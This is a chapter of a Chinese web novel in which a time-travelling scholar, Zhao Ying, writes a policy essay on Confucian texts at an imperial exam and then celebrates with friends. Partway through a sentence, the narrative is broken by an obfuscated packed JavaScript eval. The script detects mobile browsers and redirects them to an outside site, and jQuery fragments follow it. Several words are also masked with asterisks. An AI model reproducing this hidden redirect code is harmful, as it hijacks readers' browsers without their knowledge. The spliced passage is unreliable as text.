第136章 考试策论,游刃有余

作品:《寒门废柴:我凭科举位极人臣

    第一百三十六章考试策论,游刃有余


    第三场考试策论。


    这场考试不仅考察学生对儒家经典的深丶入理解,还要求学生结合时政热点进行发挥。


    从这方面说,也考察学生的当官从政的能力。


    当然不求学生信马由缰,而是在儒家经典中,任意选择两个题目,生拉硬扯到一处。


    学生在答题前,先对这题目进行解释,解释合理,才往政事上转。


    这次的**目是:民可使由之;以至仁伐不仁。


    赵婴看到题目,心中大定,妥了,一个案首跑不掉了。


    上句“民可由使之”出自《论语丶泰伯第八丶九》,全句是:民可使由之,不可使知之。


    意思是说,可以让老百姓按着我们的意思去做事,却不能让他们知道为什么这样去做。


    下句“以至仁伐不仁”出自《孟子丶尽心下》,全句是:孟子曰:尽信《书》,则不如无《书》。吾于《武成》,取二三策而已矣。仁人无敌于天下,以至仁伐不仁,而何其血之流杵也?


    全句的意思是,完全相信《尚书》,不如没有《尚书》。我对《武成》这篇文章,只取它两三点而已。仁德的人在天下是无敌的,以武王这样仁德的人去讨伐商纣那样不仁德的人,怎么会使血流得把舂米的木棒都浮起来呢?


    这个题目,从表面看,是讲从政者要有仁德,仁德无敌。


    但是,赵婴读过《孙子兵法》,该书开篇就提到,军事是国家死生之大事,不可以不细致入微地研究,总体来说有五件事,必须做到。


    这五件事就是道、天、地、将、法。


    其中的“道”,指的是**,指上下同心,想法相同,可以让其生,可以让其死,则无往而不利。


    大白话就是讲,作战之前,要**动员,使百姓与君王想法相同,无条件支持君王进行这场战争,只要得到百姓的支持,那么战争必胜。


    所以这道题目讲的不是“仁”,而是“道”。


    在道家,“道”指的是万事万物的运行规律,在儒家指的是中庸之道,仁政之道。这是儒家的考试,不是道家的考试,所以只能放弃道家,走儒家之道。


    解释完题目,接下来就要按照策论方式进行发挥。


    赵婴先讲民可使由之,指的是上下同心,师出有名,乃仁义之师,无往而不利。再讲仁者无敌于天下,其实蕴含着“道”,以有道伐无道,必胜。


    做到这点,关键在于平时治理百姓,必须行仁道,轻徭薄赋,减少劳役,**清明,君王制定的政策得到百姓的拥护。


    官吏守法,不****,一心为民。


    军队勤苦练兵,平时多流汗,战时少流血。将领要身先士卒,爱护士兵,急君王之所急,想君王之所想。


    总之,战争之前要积累能量,征求各方面意见,达到上下政见相同,同心同德,不允许出现你说三,他说四,意见不一致的情况。


    《孟子丶公孙丑下》中讲:得德者多助,失道者寡助。寡助之至,亲戚畔之;得道之至,天下顺之。


    战争之中,君王要给将领放权,充分相信他,做好后勤工作,使王者之师战而胜之。


    战争之后,要对伤亡士卒进行抚恤,使之没有后顾之忧,也会得到百姓的支持。


    最后,归纳总结,仁者无敌,不完全在于军事,而在于平时的**上。百姓拥护你这个政权,自然支持你的决策。取信于民,把百姓当亲儿子对待的国君,就是天下共主。


    要知道,现在是隋朝灭亡后,分成十个小国家,康国只是其中一个国家。


    康国国君做到仁政,行仁义之师,必可统一天下,成为天下共主。


    其实,按赵婴穿越者的目光分析这个题目,有一定程度上的**策,比如:可以让老百姓按当政者的意思去做,却不让他们知道为什么这样。


    不让老百姓知道不是**策吗?


    正常的情况是,百姓强,则国强,百姓愚昧,国家也强大不起来。君王进行**策,是下下策。


    如何才能让百姓强?


    第一先让百姓富裕,第二,让全民读书,明事理,明事理则必支持国家。第三,研究战争,行仁义之师,先动员百姓,为战争打气,取得百姓的支持。第四,国家强大了,百姓富裕了,也更强大。


    《左传丶宣公十二年》中讲:夫武,禁暴,戢兵,保大,定功,安民,和众,丰财也。


    但是,这些内容,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739423|172666||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    只能在内心想想,不能答到试卷上。


    若答在试卷上,与儒家对着干,被人视作异类,不仅考不中案首,还可能招来牢狱之灾。


    赵婴之所以能想到这些内容,是思维活跃,不受儒家这片面说法的限制,真正达到了居高临下,应付考试游刃有余。


    这场策论考两天时间,吃饭,睡觉,上厕所,全在考棚解决。包括夜晚睡觉,也有官方提供的薄棉被。


    其实第一天,赵婴就写完了策论,检查三遍,也没有失误。第二天,完全可以提前交卷。


    为了避免提早交卷,引起非议,赵婴就在考场睡大觉。


    同样答完题的其他考生也在睡觉。有人还打呼噜,声音如锯大树,声震全场,影响其他考生的考试。


    监考老师不得不走到他身边,叫醒他,以保证考场的安静,保证其他考生能顺利答题。


    赵婴睡了一上午,下午想睡也睡不着,坐在考场干瞪眼。


    到了下午,陆续有人交卷,赵婴打起精神,再次检查一遍,确实没有失误,也交了卷。


    走出考场,见到郑强龙和韩冠英,赵婴笑眯眯的。


    二人心照不宣,对赵婴直伸大拇指。回到客栈,两人才问赵婴考得如何,是不是稳拿案首。


    赵婴哈哈大笑:“我当然想考案首啊,如果我预测无误的话,别人是抢不直我的案首的。”


    “哇,这么厉害吗?”郑强龙由衷称赞,“几千名考生中拿第一,实至名归啊!”


    韩冠英称赞道:“我相信你的智力一定能考中案首。若是别人考中案首,我去杀掉他,哼,看他有命拿第一没有。”


    赵婴赶忙制止她:“千万别瞎说,要让别人知道了,真的杀掉他,栽赃到你身上,你麻烦大了。”


    “你放心,我不会拖累你的。”韩冠英说。


    赵婴哭笑不得:“你一个女孩子家,动不动打打杀杀的,成何体统?要温和一些懂不懂?”


    “好的,我听你的。”她回了一句,又问,“什么时候放案?”


    放案就是公布考试成绩。


    赵婴说:“五天以后,别急,我们初次来洛阳,还没领略洛阳的繁华美景,明天我们就去逛一逛,也不算白来一趟。”